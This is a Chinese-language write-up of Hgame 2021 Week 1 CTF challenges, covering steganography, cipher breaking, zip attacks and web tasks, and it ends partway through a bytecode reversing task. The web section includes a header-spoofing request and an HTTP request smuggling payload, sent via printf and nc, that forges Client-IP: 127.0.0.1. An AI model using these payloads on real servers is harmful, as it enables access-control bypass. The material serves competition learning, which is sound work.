CTF | 2021 Hgame Week1 WriteUp


引言

一年一度,由杭州电子科技大学 Vidar Team 举办的 Hgame 又来了!

今年和往年一样,持续四周,是招新赛,不过感觉今年人更多了。

题目倒挺有趣味也有梯度的,正好就来看看了。

这篇就是第一周的 WriteUp 啦。

其实去年也来了,但貌似看了第一周后面就没怎么看,或者没写 WriteUp了

想回顾可以移步 CTF | Hgame2020 Week1 WriteUp.

(说好的 未完待续,果然咕掉了。

后面几周可能也不一定有空来看题了,不知道能坚持几周了 233

平台: https://hgame.vidar.club/

Misc

Base全家福

新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗?

R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09

老套路了。

Base64 => Base32 => Base16/Hex

hgame{We1c0me_t0_HG4M3_2021}

不起眼压缩包的养成的方法

0x4qE给了张图给我,说这图暗藏玄机,你能帮我找出来吗?

0x4qE

提取拼接的压缩包,备注提示

Password is picture ID (Up to 8 digits)

盲猜是 P站某张图片的ID,不过这里懒了,直接爆破好了。

得到密码为 70415155

解压得到 NO PASSWORD.txt

Sometimes we don't need to care about password.
Because it's too strong or null. XD
By the way, I only use storage.

以及一个 plain.zip

明文攻击啦。

注意要先把 NO PASSWORD.txt 打包成压缩包,但是不压缩。

C8uvP$DP

得到 flag.zip,伪加密。

其实不改也行,没加密的情况下文件名后面这段就是明文的。

hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

HTML 实体

hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy

下载下来流量包,提取下得到一张图。

(噢,出题人在百度搜图啊

没看到有拼接隐写,但是经典套路,改高度就好了。

flag

hgame{Wh4t_A_W0nderfu1_Wa11paper}

Word RE:MASTER

草,这张图有毒……

first

first.docx 藏了一个 password.xml

password

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<password>+++++ +++[- >++++ ++++< ]>+++ +.<++ +[->+ ++<]> ++.<+ ++[-> +++<] >+.<+ ++[-> ---<] >-.++ ++++. <+++[ ->--- <]>-. +++.+ .++++ ++++. <+++[ ->--- <]>-- ----. +.--- --..+ .++++ +++++ .<+++ [->-- -<]>- ----- .<</password>

Brainfuck 跑一跑

这个工具 可视化挺好的

Brainfuck

DOYOUKNOWHIDDEN?

拿去开 maimai.docx

里面有张图片

噢不对,下面还有隐藏文字。

这首歌叫 好き!雪!本気マジック(卧槽!下雪了!牛逼啊)

可以来听一听 => 网易云QQ 音乐,还挺不错的。

(当然评论也没啥东西

Tab 和 空格 交错的,是下面这一段,盲猜是零宽字符隐写,但不是零宽字符。

	 	  	       	  	     	     	   	   	  
 	       	 	    	      		       		     	  
 	     	     	    	      	   		  	  	 
    	 	     	       	       	    	      		 	 
  	      	 	 	     	  	   	       	       	 
  	      	 	    	  	      	     	    	      	     
    	     	    		  	 	       		     	    
   	       	       	 	  	      	 	    	  	      
     	    	   	    	  	      	     	    	     	    
	  	   		  	     	 		     	      
	    	    	    	   	       	  	

试着把 tab 当作1,空格当作0

s = """..."""
print(len(s))
x = ''
for i in s:
    if i == '\x09':
        # Tab
        x += '0'
    elif i == '\x20':
        # Space
        x += '1'
print(x)
# 0101101111111011011111011111011101110110111101111011110111011111110110
print(x[::-1])
# 0110111111101110111101111011110110111011101111101111101101111111011010

再转 ASCII,发现明显不对。

然后再看图,下雪了,查一下,发现果然有种空白字符的隐写方式 叫 SNOW。

先是看到了 雪-空白隐写术(2013) 这篇介绍。

然后找到官网 The SNOW Home Page

Whitespace steganography

​ The program SNOW is used to conceal messages in ASCII text by appending whitespace to the end of lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. And if the built-in encryption is used, the message cannot be read even if it is detected.

这个加密 2013 年基于 Apache 2.0 协议可用

看了看文档,巨古老(

$ SNOW.exe -C text.txt
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

Extensive Reading:

BTW,零宽字符隐写的

Ga1@xy 师傅的 浅谈基于零宽度字符的隐写方式

misc学习笔记1-txt零宽度字符隐写

Some online tools:

zero-width-lib

zwsp-steg-js

Unicode Steganography with Zero-Width Characters

Web

Hitchhiking_in_the_Galaxy

第一次在银河系里搭顺风车,要准备啥,在线等,挺急的

http://5f517db502.hitchhiker42.0727.site:42420

访问提示

搭个顺风车,访问 /HitchhikerGuide.php,发现302到主页 index.php 了。

改成 POST。

然后一系列的套路啦。

​ 只有使用”无限非概率引擎”(Infinite Improbability Drive)才能访问这里~

​ 你知道吗?茄子特别要求:你得从他的Cardinal过来

​ flag仅能通过本地访问获得

最后的 payload 如下。

POST /HitchhikerGuide.php HTTP/1.1
Host: 5f517db502.hitchhiker42.0727.site:42420
User-Agent: Infinite Improbability Drive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://cardinal.ink/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Origin: http://5f517db502.hitchhiker42.0727.site:42420
Content-Length: 0
X-Forwarded-For: 127.0.0.1

hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}

watermelon

http://watermelon.ryen.xyz:800/

噢,合成大西瓜啊,其实先是玩了挺久甚至有点上瘾(大雾

看到失败了会提示 “达到两千分就可以得到flag”。

下面开始解题,看了看 network,巨多文件,不过有用的并不多,大部分是图片音频什么的。

先全局搜了一下,没找到 flaghgame 也没有。

关键的部分包括 index.html、配置 settings.jsproject.js还有广告 ads.js(他注释掉了

随意看了一下发现打包的有点好,手解不方便,console 调试也比较麻烦。

心想着出题人应该是直接魔改的源码,然后去找源码了。

在 GitHub 上找到了 原版和魔改版的源码 repo https://github.com/xiaopengand/daxigua

再比对一下,找到了可以的部分了。

修改的源码

其实全局搜 gameover 也能找到,233.

flag

hgame{do_you_know_cocos_game?}

其实直接 base64 解密一下也行。

(噢,cocos 游戏引擎啊

智商检测鸡

又有谁不爱高数呢?反正我不爱(请使用firefox浏览器打开题目)

http://r4u.top:5000/

题目

又是 积分高数题啊,想起了 USTC Hackergame 那道 超基础的数理模拟器……

不过这个简单,积分式全部为ax+b的形式,直接匹配直接算就好了,都不需要和 Mathematica 联动。

相关的 API 在 http://r4u.top:5000/static/js/fuckmath.js

function getStatus(){
    $.ajax({
        type:"GET",
        url: "/api/getStatus",
        dataType:"json",
        success:function(data){
            let solving = data['solving']
            $("#status").text(solving);
            if(solving === 100)
                getFlag();
        }
    });
}

function getQuestion(){
    $.ajax({
        type: "GET",
        url: "/api/getQuestion",
        dataType: "json",
        xhrFields: {
            withCredentials: true
        },
        crossDomain: true,
        success:function(data){
            $('#integral').html(data['question']);
        }
    });
}

function getFlag(){
    $.ajax({
        type: "GET",
        url: "/api/getFlag",
        dataType: "json",
        success:function(data){
            $('#flag').html(data['flag']);
        }
    });
}

function init(){
    getQuestion();
    getStatus();
}

function submit(){
    $.ajax({
    type: "POST",
    url: "/api/verify",
    data: JSON.stringify({answer:parseFloat($('#answer').val())}),
    dataType: "json",
    contentType: "application/json;charset=utf-8",
    xhrFields: {
        withCredentials: true
    },
    crossDomain: true,
    success: function(data) {
        console.log(data);
        if (data['result'] === true) {
            init();
            $('#alert').html(`
                <div class="alert alert-success">\n
                    <strong>Right!</strong>\n
                </div>`)
        } else {
            $('#alert').html(`
                <div class="alert alert-danger">\n
                    <strong>Wrong!</strong>\n
                </div>`)
        }
    }
});
}

返回的公式格式为

<math>
    <mrow>
        <msubsup>
            <mo>\u222b</mo>
            <mrow>
                <mo>-</mo>
                <mn>92</mn>
            </mrow>
            <mrow>
                <mn>31</mn>
            </mrow>
        </msubsup>
        <mo>(</mo>
        <mn>12</mn>
        <mi>x</mi>
        <mo>+</mo>
        <mn>17</mn>
        <mo>)</mo>
        <mtext>
            <mi>d</mi>
        </mtext>
        <mi>x</mi>
        <mtd />
    </mrow>
</math>

然后写脚本就好了。

# -*- coding: utf-8 -*-
"""
Hgame Week1 Web 智商检测鸡
http://r4u.top:5000/
@Author: MiaoTony
@Time: 20210201
"""
import requests
import re
from bs4 import BeautifulSoup

host = "http://r4u.top:5000"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}

s = requests.Session()
s.headers = headers


def getInfo(url):
    r = s.get(url)
    r.encoding = 'utf-8'
    return r.json()

def getStatus():
    url = host + "/api/getStatus"
    r = getInfo(url)
    solving = r.get("solving")
    print("---", solving, "---")
    return solving

def getFlag():
    url = host + "/api/getFlag"
    r = getInfo(url)
    print("====>", r)

def getQuestion():
    url = host + "/api/getQuestion"
    r = getInfo(url)
    question = r.get("question")
    print("====>", question)
    return question

def submit(answer):
    url = host + "/api/verify"
    payload = {'answer': answer}
    r = s.post(url, json=payload).json()
    result = r.get("result")
    print("<====", result)

def solve(q):
    soup = BeautifulSoup(q, 'lxml')
    sub, sup = list(map(lambda x: int(x.text), soup.select('msubsup > mrow')))
    f = soup.select('math > mrow')[0].text
    x = re.findall(r'\((-?\d+)x\+(\d+)\)', f)[0]
    a, b = [int(i) for i in x]
    # a/2 x**2 + b x
    answer = a/2*(sup**2-sub**2) + b*(sup-sub)
    answer = round(answer, 2)
    print(answer)
    submit(answer)

def main():
    status = 0
    while status < 100:
        q = getQuestion()
        solve(q)
        status = getStatus()
        print()
    if status == 100:
        getFlag()


if __name__ == "__main__":
    main()

然后就是愉快的解题环节,最后拿到 flag。

flag

hgame{3very0ne_H4tes_Math}

宝藏走私者

hint: 注意留意服务器信息
资料:https://paper.seebug.org/1048/
宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。
为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。
调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。
这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?

Challenge Address: http://thief.0727.site:80

HTTP 走私,第一次听说这个概念喵。

Apache Traffic Server

看一下服务器,ATS/7.1.2,在漏洞的版本范围内,还正好和文中的一样。

ATS7.1.2

直接访问 /secret 会提示 Client-IP NOT FOUND IN HEADERS!

估计就是 ATS 传到后面的 Nginx 的时候,没有带上 Client-IP,但是如果手动给定 Client-IP 则会返回真实的 IP 而不是自己设置的。

参考 https://paper.seebug.org/1048/#433,这个第三个补丁。

https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头

试了试 CL-TE走私攻击。

夹带请求一下 / 看看,果然能够返回主页。

然后带上攻击的 Client-IP 试试,拿到 flag。

payload:

GET /secret HTTP/1.1
Host: police.liki.link
Content-Length: 49
Transfer-Encoding: chunked

0

GET /secret HTTP/1.1
Client-IP: 127.0.0.1

就是说当 ATS 把这一个 GET 请求交给 Nginx 的时候,后面的 Nginx 认为这是两个 GET 请求,于是当

GET /secret HTTP/1.1
Client-IP: 127.0.0.1

这一部分到 Nginx 的时候,就能伪造本地了。

hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}

走私者的愤怒

本题为宝藏走私者的更改版本,考点相同,请先做出宝藏走私者
Liki 日记:
2020年2月2日:
今天警局寄来一封信,是走私者 Switch 寄来的,信里只有一句话
“我最讨厌顺风车,我将带来我的愤怒”
真是让人摸不着头脑……
我看不懂,但我大受震撼。

Challenge Address: http://police.liki.link

和上面那题不同,这个直接访问就给出了 Client-IP

但是 payload 其实是一样的。

不过在 Burp Suite 不一定能出来,他基本上是只显示了第一个返回的 response,emmm 感觉是 burp 设计上的问题。

但是直接在 nc 里执行就好了啦。

printf 'GET /secret HTTP/1.1\r\n''Host: police.liki.link\r\n''Content-Length: 49\r\n''Transfer-Encoding: chunked\r\n''\r\n''0\r\n''\r\n''GET /secret HTTP/1.1\r\n''Host: police.liki.link\r\n''Client-IP: 127.0.0.1\r\n''\r\n'| nc 42.193.143.243 80

很明显能看到返回了两个响应,多发几次就能在第二个返回里看到 flag 了。

hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

看了官方 WP,原来这题中间多套了一层 Nginx,架构是 ATS -> Nginx -> LNMP,而前面那题是 ATS -> LNMP。

Crypto

まひと

hint: flag的格式为hgame{xxx}(重要)
大家好,我叫真人,来自咒术回战,你也可以叫我,缝合怪!!

---../-..../-..-./.----/-----/----./-..-./.----/-----/---../-..-./.----/.----/-----/-..-./----./-----/-..-./---../--.../-..-./...../...--/-..-./.----/-----/---../-..-./----./----./-..-./.----/-----/----./-..-./---../...../-..-./.----/.----/-..../-..-./---../....-/-..-./--.../.----/-..-./.----/-----/---../-..-./.----/.----/....-/-..-./----./--.../-..-./---../....-/-..-./.----/.----/..---/-..-./...../--.../-..-./---../-..../-..-./.----/-----/----./-..-./.----/.----/-..../-..-./.----/.----/-..../-..-./.----/-----/-----/-..-./.----/-----/--.../-..-./.----/.----/..---/-..-./.----/-----/...../-..-./--.../...--/-..-./---../....-/-..-./--.../-----/-..-./---../----./-..-./.----/-----/-----/-..-./-..../----./-..-./--.../-----/-..-./...../..---/-..-./----./-----/-..-./---../...--/-..-./--.../-----/-..-./.----/.----/.----/-..-./----./----./-..-./-..../----./-..-./....-/---../-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./....-/---../-..-./....-/---../-..-./.----/.----/....-/-..-./--.../----./-..-./---../---../-..-./.----/-----/....-/-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./.----/.----/-----/-..-./--.../....-/-..-./---../...../-..-./---../....-/-..-./---../-..../-..-./...../--.../-..-./--.../----./-..-./----./--.../-..-./.----/.----/-----/-..-./...../...--/-..-./.----/-----/-..../-..-./---../...../-..-./.----/-----/----./-..-./----./----./-..-./....-/---../-..-./.----/-----/.----/-..-./-..../...../-..-./-..../.----/-..-./-..../.----

Morse code

86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61

然后 chr,base64

import base64
s = "86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61"
l = s.split('/')
r = ''
for i in l:
    x = chr(int(i))
    print(x)
    r += x
print(r)
# VmlnZW5lcmUtTGlraTp9VmttdkpiITFYdEF4ZSFocE0xe00rOXhxenJUTV9Oan5jUmc0eA==
r2 = base64.b64decode(r)
print(r2)
# b'Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x'

Vigenere 解密得到

}KccnYt!1NlPpu!zeE1{C+9pfrhLB_Fz~uGy4n

看上去像是逆序了的

n4yGu~zF_BLhrfp9+C{1Eez!upPlN1!tYnccK}

看样子又不像。里面都没有 hgame,又试了试栅栏,这不对劲啊。


看了官方 WP 后,这6个栅栏就离谱!

太奇怪了!!!

}KccnYt
!1NlPpu
!zeE1{
C+9pfr
hLB_Fz
~uGy4n
=====>
}!!Ch~K1z+LucNe9BGclEp_ynP1fF4Yp{rzntu

然后逆序

utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}

凯撒 / ROT13

hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}

对称之美

美术大师 Liki 总说,对称是世界上最美的结构…

源码:

import random
import string
import itertools
from secret import FLAG

key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

cipher = bytes([ord(m)^ord(k) for m, k in zip(FLAG, itertools.cycle(key))])

print(cipher)

#cipher=b'>\tA+/\x01@"\x08T\x1a\x1a\x17\x05\x07\x11\x143Kf5\x0cQ>Q\x00\x1b\x11\x17\x01\x19\x00Y?V21D[6Q~\x12TG\x05\x1c\x0b@3V!b\x0bFp\x15\x06\x12\x03^\n\x12EV;T\',\x07Qp\x14\x15\x10\x1c\x17\x0b\x01\rQ(\x18L-\x11@~Q \x1b\x1dDD\x16\nA6\\f \x01\x14$\x19\x11S\x1bU\x0e\x10\x06@)\x182*\x01Y#\x14\x18\x05\x11DHUoV/Lf+\x10\x143\x10\x1aS\x15[\x17\x1aEF?T\'6\x01\x14$\x1eT\x10\x1b[\x0b\x07\x16\x14;V"bn[$\x19\x11\x01TT\x0b\x18\x15[)Q2+\x0bZ1\x1dT\x07\x11T\x0c\x1b\x0cE/]5lnm?\x04T\x1e\x15ND\x1b\n@zJ##\x08]*\x14T\x1a\x00\x1bD\x17\x10@zA)7\x16\x142\x03\x15\x1a\x1a\x17n\x1c\x16\x148M5;DC?\x03\x1f\x1a\x1aPD\x17\x00\\3V"b\x10\\5Q\x07\x10\x11Y\x01\x06E@5\x185\'\x01_p{\x1b\x06\x00\x17\x17\x0c\x08Y?L4;DC8\x14\x1aS\rX\x11U\t[5Sf#\x10\x141Q\x04\x12\x1dY\x10\x1c\x0bSt\x18L\x16\x0cQ"\x14T\x12\x06RD\x06\x00B?J\'.DF5\x10\x07\x1c\x1aDD\x13\nFzL.+\x17\x1ap%\x1c\x16T=\x02\x1c\x17G.\x18/1D@8\x10\x00S\x03RC\x07\x00\x142Y4&IC9\x03\x11\x17TC\x0bU\t[5Sf$\x0bFp{\x1d\x07Z\x17+\x00\x17\x14;V%+\x01Z$Q\x15\x1d\x17R\x17\x01\nF)\x18+#\x1d\x14>\x1e\x00S\x1cV\x12\x10E\\;\\fH\x05\x14>\x10\x19\x16TQ\x0b\x07E].\x14f \x11@p\x05\x1c\x16\r\x17\x0f\x1b\x00CzL.#\x10\x14$\x19\x11\x1a\x06\x17n\x1a\x12ZzZ)&\rQ#Q\x03\x16\x06RD\x17\x04G3[\'.\x08Mp\x02\r\x1e\x19R\x10\x07\x0cW;Tjb\x05Gp{\x03\x16\x06RD\x01\r[)]f-\x02\x14 \x1e\x00\x16\x1aC\r\x14\t\x14*J#&\x05@?\x03\x07S\x1bED\x05\x17Q#\x16fH0\\5\x03\x11\x15\x1bE\x01YE@2Q5b\x07U=\x14T\x1a\x1a\x17\x0c\x14\x0bP#\x181*\x01@8\x14\x06S~T\x0c\x1a\nG3V!b\x05\x14=\x10\x00\x16X\x17\x07\x14\x11W2Q(%DP9\x1f\x1a\x16\x06\x17\x0b\x07E>;N)+\x00]>\x16T\x11\x11^\n\x12E[4\x182*\x01\x14=\x14\x1a\x06TX\x02U\x04\x14)V\'0\x08]>\x16XS~_\x11\x1b\x02F#\x186#\x07_p\x1e\x12S\x03X\x08\x03\x00GzW4b\x06Q1\x03\x07R~c\x05\x1e\x00\x14;\x18*-\x0b_p\x10\x00S\rX\x11\x07ER;[#b\rZp\x05\x1c\x16TZ\r\x07\x17[(\x18L#\nPp\x18\x19\x12\x13^\n\x10EUzT/,\x01\x14#\x05\x06\x12\x1dP\x0c\x01EP5O(b\x10\\5Q~\x1e\x1dS\x00\x19\x00\x1aza)7CX<Q\x07\x16\x11\x17\x06\x1a\x11\\zK/&\x01Gp\x1e\x12S\rX\x11\x07E><Y%\'DU"\x14T\x03\x06R\x10\x01\x1c\x14)A+/\x01@"\x18\x17\x12\x18\x19D!\r])\x18/1D>;\x1f\x1b\x04\x1a\x17\x05\x06EV3T\'6\x01F1\x1dT\x00\rZ\t\x10\x11F#\x18\',\x00\x149\x05S\x00T=\x13\x1d\x00F?\x18$-\x10\\p\x02\x1d\x17\x11DD\x10\x0c@2]4b\x17]4\x14T\x1c\x12\x17\x10\x1d\x0cGz2"+\x12]4\x18\x1a\x14T[\r\x1b\x00\x14;H6\'\x05Fp\x1c\x1b\x01\x11\x17\x0b\x07EX?K5b\x10\\5Q\x07\x12\x19RJ\x7f6[zP#0\x01\x149\x02T\x07\x1cRD\x13\tU=\x02fH\x0cS1\x1c\x11\x08,\x07\x16*\x0c\x01wY\x1977\x076$EX@Y\x00Q\x03a\x14V?\x1d\'\x05 9G\x01\t='

利用 xortool,可以帮助得到这个加密使用的 key。

xortool.py

xortool
  A tool to do some xor analysis:
  - guess the key length (based on count of equal chars)
  - guess the key (base on knowledge of most frequent char)

Usage:
  xortool [-x] [-m MAX-LEN] [-f] [-t CHARSET] [FILE]
  xortool [-x] [-l LEN] [-c CHAR | -b | -o] [-f] [-t CHARSET] [-p PLAIN] [FILE]
  xortool [-x] [-m MAX-LEN| -l LEN] [-c CHAR | -b | -o] [-f] [-t CHARSET] [-p PLAIN] [FILE]
  xortool [-h | --help]
  xortool --version

Options:
  -x --hex                          input is hex-encoded str
  -l LEN, --key-length=LEN          length of the key
  -m MAX-LEN, --max-keylen=MAX-LEN  maximum key length to probe [default: 65]
  -c CHAR, --char=CHAR              most frequent char (one char or hex code)
  -b --brute-chars                  brute force all possible most frequent chars
  -o --brute-printable              same as -b but will only check printable chars
  -f --filter-output                filter outputs based on the charset
  -t CHARSET --text-charset=CHARSET target text character set [default: printable]
  -p PLAIN --known-plaintext=PLAIN  use known plaintext for decoding
  -h --help                         show this help

由于它的 FILE 输入需要的是 binary 或者 hex 或者 plain text,而这里的 cipher 是 Python 里的字符串,所以先转换成 hex。

cipher = 'xxxxxx'
print(cipher.hex())

然后把这个 hex 保存到文件,比如 cipher.txt.

试了一下,指定 -l 16 倒没作用,-p "hgame{" 甚至会报错。最后还是用下面这个好了。

$ xortool -x -c 20 cipher.txt
The most probable key lengths:
 2:  10.3%
 4:  10.9%
 6:   9.3%
 8:  15.0%
10:   7.7%
12:   8.5%
14:   7.4%
16:  15.5%
32:   7.8%
Key-length can be 4*n
2 possible key(s) of length 16:
4Z8FB!4Pqtst7d'e
4Z8FB!4P4tst7d'e
Found 2 plaintexts with 95%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv

看一看输出的文件,已经很有味道了,flag 都很明显了。

根据出来的 key 4Z8FB!4Pqtst7d'e,有两个不在 string.ascii_letters + string.digits 范围内的字符,于是考虑爆破一下找真正的 key。

import string
keys = string.ascii_letters + string.digits
cipher = 'xxxxxxxx'
# 4Z8FB!4Pqtst7d'e
for i in keys:
    key = "4Z8FB" + i + "4Pqtst7due"
    r = ''
    for idx, value in enumerate(cipher):
        x = chr(value ^ ord(key[idx % 16]))
        r += x
    print('====' + i + '====')
    # print(r)
    if 'hgame' in r:
        print(r)

两个位置都试一试,最后看哪个最合理。

最后得出是 4Z8FBd4Pqtst7due

Symmetry in art is when the elements of 
a painting or drawing balance each other 
out. This could be the objects themselves, 
but it can also relate to colors and 
other compositional techniques.
You may not realize it, but your brain 
is busy working behind the scenes to seek 
out symmetry when you look at a painting. 
There are several reasons for this. The 
first is that we're hard-wired to look for 
it. Our ancient ancestors may not have had 
a name for it, but they knew that their 
own bodies were basically symmetrical, as 
were those of potential predators or prey. 
Therefore, this came in handy whether 
choosing a mate, catching dinner or 
avoiding being on the menu of a snarling, 
hungry pack of wolves or bears!
Take a look at your face in the mirror 
and imagine a line straight down the 
middle. You'll see both sides of your 
face are pretty symmetrical. This is 
known as bilateral symmetry and it's 
where both sides either side of this 
dividing line appear more or less the same.
So here is the flag: 
hgame{X0r_i5-a_uS3fU1+4nd$fUNny_C1pH3r}

然后发现这个居然真的有原文,就是 对称之美(Symmetry in Art),详见

5 Reasons Why We Love Symmetry in Art so Much (And How You Can Use This Research to Create Even More Awesome Paintings)

Transformer

所有人都已做好准备,月黑之时即将来临,为了击毁最后的主控能量柱,打开通往芝加哥的升降桥迫在眉睫 看守升降桥的控制员已经失踪,唯有在控制台的小房间留下来的小纸条,似乎是控制员防止自己老了把密码忘记而写下的,但似乎都是奇怪的字母组合,唯一有价值的线索是垃圾桶里的两堆被碎纸机粉碎的碎纸,随便查看几张,似乎是两份文件,并且其中一份和小纸条上的字母规律有点相像 附件md5:0340142700c8f63546368fa14fd6fb24

https://1.oss.hgame2021.vidar.club/Transformer.zip \

Transformer.txt:

Tqh ufso mnfcyh eaikauh kdkoht qpk aiud zkhc xpkkranc uayfi kfieh 2003, oqh xpkkranc fk "qypth{hp5d_s0n_szi^3ic&qh11a_}",Dai'o sanyho oa pcc oqh dhpn po oqh hic.

很明显这个就是密文了,flag 就藏在这个里面了。

然后给了 ori 和 enc,原文和密文,随意看了一下还打乱顺序了,坏耶。

不过问题不大,发现是对称加密,而且只是小写字母进行了对换,其他字符都不变。

那直接找足够多的样本,得到映射关系就完事了。

payload 有点乱,大概思路首先是找几个样本,然后根据样本得到匹配对 pair,最后解密。

import os
import string

os.chdir(os.path.dirname(os.path.realpath(__file__)))

# base_dir = "enc/"
base_dir = "ori/"
filenames = os.listdir(base_dir)
for filename in filenames:
    with open(base_dir + filename, 'r', encoding='utf-8') as f:
        content = f.read()
    # if "’" in content:
    # if 'b' in content and 'l' in content:
    if content[5] == ' ':
        print(filename)
        print(content)
        print('=====')


ori1 = """hat you want but it will be “correct”.
anotrogram correctness” and many gstance. rust offers a form of “p
me; we don’t have to worry about the
from runtime checking of constraints and invariants;
mpile times to be pretty beefy; our cpus a
 memory safety; it definitely excites us kno
duction for the last few years and we’ve
if you’re new to rust, start small and build
started this project. we’ve bee
ntial localization implementation to meet the require
"""

enc1 = """qpo daz rpio mzo fo rfuu mh “eannheo”.
piaonaynpt eannheoihkk” pic tpid ykopieh. nzko asshnk p sant as “x
th; rh cai’o qpvh oa rannd pmazo oqh
snat nziofth eqhejfiy as eaikonpfiok pic fivpnfpiok;
txfuh ofthk oa mh xnhood mhhsd; azn exzk p
 thtand kpshod; fo chsfifohud hgefohk zk jia
czeofai san oqh upko shr dhpnk pic rh’vh
fs daz’nh ihr oa nzko, kopno ktpuu pic mzfuc
kopnohc oqfk xnawheo. rh’vh mhh
iofpu uaepufbpofai ftxuhthiopofai oa thho oqh nhlzfnh
"""

pair = {}
for idx, value in enumerate(enc1):
    pair[value] = ori1[idx]
print(pair)
# {'q': 'h', 'p': 'a', 'o': 't', ' ': ' ', 'd': 'y', 'a': 'o', 'z': 'u', 'r': 'w', 'i': 'n', 'm': 'b', 'f': 'i', 'u': 'l', 'h': 'e', '“': '“', 'e': 'c', 'n': 'r', '”': '”', '.': '.', '\n': '\n', 'y': 'g', 't': 'm', 'k': 's', 'c': 'd', 's': 'f', 'x': 'p', ';': ';', '’': '’', 'v': 'v', 'j': 'k', 'g': 'x', ',': ',', 'w': 'j', 'b': 'z', 'l': 'q'}

s="""Tqh ufso mnfcyh eaikauh kdkoht qpk aiud zkhc xpkkranc uayfi kfieh 2003, oqh xpkkranc fk "qypth{hp5d_s0n_szi^3ic&qh11a_}",Dai'o sanyho oa pcc oqh dhpn po oqh hic."""
r = ''
for i in s:
    if i in string.ascii_lowercase:
        r += pair[i]
    else:
        r += i
    # print(r)
print(r)
# The lift bridge console system has only used password login since 2003, the password is "hgame{ea5y_f0r_fun^3nd&he11o_}",Don't forget to add the year at the end.

最后再加上年份

hgame{ea5y_f0r_fun^3nd&he11o_2021}

Reverse

pypy

给了 dis.dis human readable 的字节码,直接逆向一下就完事了。

  4           0 LOAD_GLOBAL              0 (input)
              2 LOAD_CONST               1 ('give me your flag:\n')
              4 CALL_FUNCTION            1
              6 STORE_FAST               0 (raw_flag)

  5           8 LOAD_GLOBAL              1 (list)
             10 LOAD_FAST                0 (raw_flag)
             12 LOAD_CONST               2 (6)
             14 LOAD_CONST               3 (-1)
             16 BUILD_SLICE              2
             18 BINARY_SUBSCR
             20 CALL_FUNCTION            1
             22 STORE_FAST               1 (cipher)

  6          24 LOAD_GLOBAL              2 (len)
             26 LOAD_FAST                1 (cipher)
             28 CALL_FUNCTION            1
             30 STORE_FAST               2 (length)

  8          32 LOAD_GLOBAL              3 (range)
             34 LOAD_FAST                2 (length)
             36 LOAD_CONST               4 (2)
             38 BINARY_FLOOR_DIVIDE
             40 CALL_FUNCTION            1
             42 GET_ITER
        >>   44 FOR_ITER                54 (to 100)
             46 STORE_FAST               3 (i)

  9          48 LOAD_FAST                1 (cipher)
             50 LOAD_CONST               4 (2)
             52 LOAD_FAST                3 (i)
             54 BINARY_MULTIPLY
             56 LOAD_CONST               5 (1)
             58 BINARY_ADD
             60 BINARY_SUBSCR
             62 LOAD_FAST                1 (cipher)
             64 LOAD_CONST               4 (2)
             66 LOAD_FAST                3 (i)
             68 BINARY_MULTIPLY
             70 BINARY_SUBSCR
             72 ROT_TWO
             74 LOAD_FAST                1 (cipher)
             76 LOAD_CONST               4 (2)
             78 LOAD_FAST                3 (i)
             80 BINARY_MULTIPLY
             82 STORE_SUBSCR
             84 LOAD_FAST                1 (cipher)
             86 LOAD_CONST               4 (2)
             88 LOAD_FAST                3 (i)
             90 BINARY_MULTIPLY
             92 LOAD_CONST               5 (1)
             94 BINARY_ADD
             96 STORE_SUBSCR
             98 JUMP_ABSOLUTE           44

 12     >>  100 BUILD_LIST               0
            102 STORE_FAST               4 (res)

 13         104 LOAD_GLOBAL              3 (range)
            106 LOAD_FAST                2 (length)
            108 CALL_FUNCTION            1
            110 GET_ITER
        >>  112 FOR_ITER                26 (to 140)
            114 STORE_FAST               3 (i)

 14         116 LOAD_FAST                4 (res)
            118 LOAD_METHOD              4 (append)
            120 LOAD_GLOBAL              5 (ord)
            122 LOAD_FAST                1 (cipher)
            124 LOAD_FAST                3 (i)
            126 BINARY_SUBSCR
            128 CALL_FUNCTION            1
            130 LOAD_FAST                3 (i)
            132 BINARY_XOR
            134 CALL_METHOD              1
            136 POP_TOP
